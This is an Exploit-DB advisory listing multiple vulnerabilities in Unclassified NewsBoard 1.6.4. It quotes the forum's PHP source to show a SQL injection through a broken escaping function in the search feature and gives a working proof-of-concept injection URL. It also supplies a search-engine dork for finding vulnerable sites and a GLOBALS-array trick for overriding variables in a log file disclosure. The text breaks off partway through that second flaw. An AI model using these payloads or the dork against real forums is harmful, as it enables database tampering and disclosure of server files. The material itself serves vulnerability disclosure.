Exploit-DB #8841
Description: unclassified NewsBoard 1.6.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-01
Author: girex

Exploit:
# Author_	girex
# Homepage_	girex.altervista.org
# Date_		31/05/2009

# CMS_		Unclassified NewsBoard 1.6.4 (and maybe lower)
# Dork_		"This board is powered by the Unclassified NewsBoard software, 1.6.4"

# Multiple remote vulnerabilities

# 1) Remote SQL Injection 				(php.ini regardless)
# 2) Logs File Disclosure 				(register_globals = On)
# 3) Local File Inclusion / Remote Command Execution	(register_globals = On / magic_quotes_gpc = Off)
# 4) Full Path Disclosure				

#################################################################################

# 1) Remote SQL Injection 
# Works regardless of php.ini settings

# File: /unb_lib/common.lib.php - Lines: 78-103

if (get_magic_quotes_gpc())
{
	#$mq_old = array('\\\'', '\\"', '\\\\', '\\0');
	#$mq_new = array('\'',   '"',   '\\',   '');
	foreach ($_GET as $key => $value)
	{
		if (is_string($_GET[$key])) $_GET[$key] = stripslashes($value);
	}
	foreach ($_POST as $key => $value)
	{
		#if (!is_array($_POST[$key])) $_POST[$key] = str_replace($mq_old, $mq_new, $value);
		if (is_string($_POST[$key])) $_POST[$key] = stripslashes($value);
	}
	foreach ($_REQUEST as $key => $value)
	{
		if (is_string($_REQUEST[$key])) $_REQUEST[$key] = stripslashes($value);
	}
	foreach ($_COOKIE as $key => $value)
	{
		if (is_string($_COOKIE[$key])) $_COOKIE[$key] = stripslashes($value);
	}
	foreach ($_FILES as $key => $value)
	{
		$_FILES[$key]['name'] = stripslashes($value['name']);
	}
}

# If magic_quotes_gpc are set to On it stripslash all input variables, so we don't need mq = off.
# Now the vars are sanizated for SQL queries with UnbDbEncode function in database.lib.php

# File: /unb_lib/database.lib.php - Lines: 805-825

function UnbDbEncode($str, $forLIKE = false)
{
	// Clean parameters
	$str = strval($str);

	$str = str_replace('\\', '\\\\', $str);	   		<==  escape backslash
	$str = str_replace('\'', '\\\'', $str);    		<==  escape quote
	#$str = str_replace('\'', '\'\'', $str);  
	$str = str_replace('"', '\\"', $str);	   		
	$str = str_replace("\n", '\\n', $str);
	$str = str_replace("\r", '\\r', $str);
	$str = str_replace("\t", '\\t', $str);

	if ($forLIKE)
	{
		$str = str_replace('\\', '\\\\', $str);		<== this is wrong, delete the escaping of the quote for example
		$str = str_replace('%', '\\%', $str);
		$str = str_replace('_', '\\_', $str);
	}
	return $str;
}

# As you can see, if $forLIKE is set to true the effect of the escaping is vanificated
# '  => \' => (if $forLIKE == true) => \\'

# File: /unb_lib/search.inc.php - lines: 

		if ($_REQUEST['InSubject'] || $_REQUEST['InMessage'])
		{
			$highlight = array();
			$words = explode_quoted(' ', $_REQUEST['Query']);      <== 
			...
			foreach ($words as $word)
			{
				if ($word != '')
				{
					...
					// case-insensitive search
					$in_subject .= '(p.Subject LIKE \'%' . UnbDbEncode($word, true) . '%\' OR ' . 		<==
						't.Desc LIKE \'%' . UnbDbEncode($word, true) . '%\' AND p.Date = t.Date)';
					...	
					$in_message .= '(p.Msg LIKE \'%' . UnbDbEncode($word, true) . '%\')';	<== vuln sanizating
					// this doesn't work:
					...
					$query .= '(';
					if ($_REQUEST['InSubject']) $query .= $in_subject;
					if ($_REQUEST['InSubject'] && $_REQUEST['InMessage']) $query .= ($not ? ' AND ' : ' OR ');
					if ($_REQUEST['InMessage']) $query .= $in_message;
					$query .= ')';

	......

	if (!$error)
	{
		$record = $UNB['Db']->FastQuery(			<== vuln query
			/*table*/ array(
				array('', 'Posts', 'p', ''),
				array('LEFT', 'Threads', 't', 'p.Thread = t.ID')),
			/*fields*/ $_REQUEST['ResultView'] == 1 ?
				't.ID, t.Forum' :
				'p.ID, t.ID, t.Forum',
			/*where*/ $query,
			/*order*/ '',
			/*limit*/ '',
			/*group*/ $_REQUEST['ResultView'] == 1 ? 't.ID' : '');


# $_REQUEST['Query'] var is 'sanizated' with the bugged function UnbDbDecode so we can manipulate the query.

# PoC: [host]/[path]/forum.php?req=search&Query=xxx'))OR/**/1=1%23&ResultView=2&InMessage=1&Sort=2&Forum=0

#################################################################################

# 2) Logs file disclosure
# Need register_globals = On

# File: /unb_lib/common.lib.php  -  lines: 127-135

// unregister_globals :) for more security (except for install/import scripts)
if (ini_get('register_globals') && !$UNB['Installing'])
{
	if (sizeof($_SESSION)) foreach (array_keys($_SESSION) as $key) unset($$key);
	if (sizeof($_GET)) foreach (array_keys($_GET) as $key) unset($$key);
	if (sizeof($_POST)) foreach (array_keys($_POST) as $key) unset($$key);
	if (sizeof($_COOKIE)) foreach (array_keys($_COOKIE) as $key) unset($$key);
	if (sizeof($_SERVER)) foreach (array_keys($_SERVER) as $key) unset($$key);
}

# This is simply bypassable using and defining global vars via GLOBALS array
# like forum.php?GLOBALS[var]=value

# Now let's see rss.inc.php
# File: /unb_lib/rss.inc.php  -  lines: 69-77

$type = $_REQUEST['type'];
...
if ($type == 1)
	$filename = strtolower(str_replace('.', '', $format)) . '.' . $forumid . '.xml';
if ($type == 2)
	$filename = strtolower(str_replace('.', '', $format)) . '.allposts.xml';

$filename = dirname(__FILE__) . '/rsscache/' . $filename;

$rss = new UniversalFeedCreator();
if ($cache_time) $rss->useCached($format, $filename, $cache_time);   	<== vuln function

# If type is set for example to 3, we can define $filename

# File: /unb_lib/feedcreator.lib.php  

	function useCached($filename="", $timeout=3600) {
		$this->_timeout = $timeout;
		if ($filename=="") {
			$filename = $this->_generateFilename();
		}
		if (file_exists($filename) AND (time()-filemtime($filename) < $timeout)) {
			$this->_redirect($filename);			<== vuln function
		}
	}

# NOTE: the file as you can see must be edited in the last hour
	...

	function _redirect($filename) {

		Header("Content-Type: ".$this->contentType."; charset=".$this->encoding."; filename=".b